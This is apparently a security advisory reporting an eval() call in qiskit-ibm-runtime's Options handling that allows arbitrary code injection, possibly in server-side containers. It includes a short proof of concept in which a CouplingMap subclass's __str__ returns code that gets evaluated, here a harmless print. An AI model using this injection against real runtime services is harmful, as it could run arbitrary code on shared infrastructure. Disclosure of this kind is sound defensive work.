Dynamic Variable Evaluation in qiskit-ibm-runtime

Summary

### Summary

An `eval()` method exists `Options._get_program_inputs`. This is bad in any case, but especially bad because `Options` are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

### Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140

### PoC A local exploit would be something like

```python from qiskit import transpiler

class BadActor(transpiler.CouplingMap): def __str__(self): return "print('external code')"

```

Where `print("external code")` can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed `CouplingMap` subclass like `BadActor` above:

```python from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler from qiskit import QuantumCircuit

cmap = BadActor.from_line(42) service = QiskitRuntimeService() options = Options(optimization_level=1) options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2) bell.h(0) bell.cx(0, 1) bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session: sampler = Sampler(session=session, options=options).run(bell) ```

This will print `external code`

### Impact

Security vulnerability.